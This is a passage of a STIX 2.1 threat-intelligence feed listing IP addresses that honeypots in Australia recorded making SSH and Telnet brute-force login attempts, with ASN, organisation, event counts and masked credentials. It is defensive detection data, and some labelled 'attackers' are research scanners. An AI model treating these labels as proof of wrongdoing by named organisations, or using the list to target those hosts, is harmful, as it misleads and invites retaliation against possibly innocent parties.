      "modified": "2026-04-18T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.234.205.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T10:15:04.000Z",
      "valid_until": "2026-05-20T10:15:01.000Z"
    },
    {
      "created": "2026-04-18T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd.",
      "id": "indicator--af7f7238-ad4c-457b-a400-3ef34efcb049",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.238.81.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T10:15:04.000Z",
      "valid_until": "2026-05-20T10:15:01.000Z"
    },
    {
      "created": "2026-04-18T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fcd9ba8d-19b2-48c0-a445-cb2e1377a7a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T10:15:04.000Z",
      "valid_until": "2026-05-20T10:15:01.000Z"
    },
    {
      "created": "2026-04-18T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--eaa4cd3a-8546-47de-857a-7382b78cdd51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.17.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T10:15:04.000Z",
      "valid_until": "2026-05-20T10:15:01.000Z"
    },
    {
      "created": "2026-04-18T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 56582. Organisation(s): Netfactor Telekominikasyon ve Teknoloji Hizmetleri San. ve Tic. A.S.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--8c05b0bc-1cb9-432b-b1a3-f47f4a0b13ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.245.47.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T10:15:04.000Z",
      "valid_until": "2026-05-20T10:15:01.000Z"
    },
    {
      "created": "2026-04-18T10:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--031df859-1539-44a7-9954-c17d8d7f0465",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T10:15:04.000Z",
      "valid_until": "2026-05-20T10:15:01.000Z"
    },
    {
      "created": "2026-04-18T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AL. ASN(s): 215025. Organisation(s): Net.com Shpk. Usernames observed (masked): f****e, r**t, 3**********4, d****o, t**t. Passwords observed (masked): 3***********4, 3**********4, F*******!, H********3, a******A.",
      "id": "indicator--5e919ece-dd70-4473-a71c-183971c23c23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.226.89.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:15:04.000Z",
      "valid_until": "2026-05-20T11:15:01.000Z"
    },
    {
      "created": "2026-04-18T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: QA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, f****e, u****u. Passwords observed (masked): 3***********4, 3**********4, Q**********$, U*******!, a**********f.",
      "id": "indicator--234c0c2b-8c5d-436f-86ee-036fe5530739",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.173.116.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:15:04.000Z",
      "valid_until": "2026-05-20T11:15:01.000Z"
    },
    {
      "created": "2026-04-18T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--698b5656-c1e3-4ad2-a689-fec8b7ed59fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:15:04.000Z",
      "valid_until": "2026-05-20T11:15:01.000Z"
    },
    {
      "created": "2026-04-18T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--ddb61e5c-c511-45c8-96b5-1adf6c875d50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:15:04.000Z",
      "valid_until": "2026-05-20T11:15:01.000Z"
    },
    {
      "created": "2026-04-18T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, 1**4, i*******r, n****a. Passwords observed (masked): 1**4, 1***5, 1****6, a****3, a***n.",
      "id": "indicator--39d160ce-c4c8-4a0e-abac-0b14b6074e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.198.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T12:15:04.000Z",
      "valid_until": "2026-05-20T12:15:02.000Z"
    },
    {
      "created": "2026-04-18T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, ***, ***, c****g. Passwords observed (masked): a***n, p******d, 0**************D, 1******8, 3******t.",
      "id": "indicator--35e7f678-8f0b-4402-a3e3-39c803597025",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.1.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T12:15:04.000Z",
      "valid_until": "2026-05-20T12:15:02.000Z"
    },
    {
      "created": "2026-04-18T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: US. Usernames observed (masked): r**t, s****m, u**r. Passwords observed (masked): O************Z, a***n, u**r.",
      "id": "indicator--da2b4abc-ebb8-4c2b-b7a3-69210c17c607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.39.12.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T12:15:04.000Z",
      "valid_until": "2026-05-20T12:15:02.000Z"
    },
    {
      "created": "2026-04-18T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T12:15:04.000Z",
      "valid_until": "2026-05-20T12:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 131275. Organisation(s): Logon Broadband Pvt. Limited.",
      "id": "indicator--c148f032-3d4a-4dfa-99af-1ce56a517f45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.203.88.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--0a2b905c-c9d8-4476-92f3-f02a983a2ada",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.176.157.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 2609. Organisation(s): TN-BB-AS Tunisia BackBone AS.",
      "id": "indicator--08dc7b28-1830-4a7d-bfce-0b98674cbdc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.203.106.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17747. Organisation(s): SITI NETWORKS LIMITED.",
      "id": "indicator--b0f154b5-bbe8-4d70-a056-c7a80d197eb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.249.85.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b66e3e22-4883-470e-bf14-b666c7fe7f95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7bcc0851-7b04-442f-9015-ceca99b8ac3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3131330e-470b-4e1a-87c5-9df2d3181696",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--8aa1cce7-eb48-4a74-954b-552901aad0ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:15:04.000Z",
      "valid_until": "2026-05-20T13:15:02.000Z"
    },
    {
      "created": "2026-04-18T14:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bc70b14f-279d-4d70-8a52-d599011af1e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.44.184.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T14:15:04.000Z",
      "valid_until": "2026-05-20T14:15:02.000Z"
    },
    {
      "created": "2026-04-18T14:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55441. Organisation(s): TTSL-ISP DIVISION.",
      "id": "indicator--6b303be2-a553-4bb6-a662-39db7ae7686f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.156.104.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T14:15:04.000Z",
      "valid_until": "2026-05-20T14:15:02.000Z"
    },
    {
      "created": "2026-04-18T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cd7fe067-d838-4ff6-8947-058719dde62c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.11.13.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:15:11.000Z",
      "valid_until": "2026-05-20T15:15:08.000Z"
    },
    {
      "created": "2026-04-18T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, r**t.",
      "id": "indicator--f05c6cf9-002a-432c-b023-be2d25c2d59e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:15:11.000Z",
      "valid_until": "2026-05-20T15:15:08.000Z"
    },
    {
      "created": "2026-04-18T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--00682623-405a-4d6c-9c8c-5a6411f581a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:15:11.000Z",
      "valid_until": "2026-05-20T15:15:08.000Z"
    },
    {
      "created": "2026-04-18T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:15:11.000Z",
      "valid_until": "2026-05-20T15:15:08.000Z"
    },
    {
      "created": "2026-04-18T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2475f5a7-2a2c-49f7-8a01-22c61059d4ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:15:11.000Z",
      "valid_until": "2026-05-20T15:15:08.000Z"
    },
    {
      "created": "2026-04-18T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--462b73a1-ace8-43e2-8998-e0f69581a6bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.92.151.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:15:04.000Z",
      "valid_until": "2026-05-20T16:15:02.000Z"
    },
    {
      "created": "2026-04-18T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3c7ac580-bd53-4fcf-aa95-d5d8936cd3b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:15:04.000Z",
      "valid_until": "2026-05-20T16:15:02.000Z"
    },
    {
      "created": "2026-04-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina. Usernames observed (masked): r**t, t******t. Passwords observed (masked): r****2, t******4.",
      "id": "indicator--a5685f93-d9d7-4cc6-ad2b-67e28a8f9747",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.23.110.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:15:11.000Z",
      "valid_until": "2026-05-20T17:15:08.000Z"
    },
    {
      "created": "2026-04-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--164c359f-966e-4df8-ae3c-600cf131ecb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:15:11.000Z",
      "valid_until": "2026-05-20T17:15:08.000Z"
    },
    {
      "created": "2026-04-18T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--94b62596-0c39-4255-af36-792019f1e071",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.52.192.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:15:11.000Z",
      "valid_until": "2026-05-20T17:15:08.000Z"
    },
    {
      "created": "2026-04-18T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, p******s, t**t, b********r. Passwords observed (masked): 3***********4, 3**********4, !******z, 1**4, 1****6.",
      "id": "indicator--b4198849-77e6-42cc-97d0-8b62f3287979",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.68.65.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:15:11.000Z",
      "valid_until": "2026-05-20T17:15:08.000Z"
    },
    {
      "created": "2026-04-18T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--80b81d43-d738-4605-be0b-ec209ce4bf74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.195.26.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
